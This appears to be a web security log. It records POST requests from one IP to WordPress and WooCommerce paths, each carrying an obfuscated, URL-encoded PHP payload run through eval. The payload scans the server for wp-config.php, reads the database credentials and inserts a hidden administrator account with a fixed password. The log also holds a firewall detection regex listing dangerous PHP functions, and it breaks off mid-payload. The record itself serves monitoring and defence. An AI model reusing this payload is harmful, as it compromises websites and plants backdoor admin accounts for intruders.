%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 05:34:46","213.209.159.254","POST","\/wp-admin\/network\/upgrade.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GBStEu:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-admin\/network\/upgrade.php HTTP\/1.1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:12663\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?1\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Android\"\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\naccept:*\/*\n\nGBStEu=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 05:35:13","213.209.159.254","POST","\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VmQHcs:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%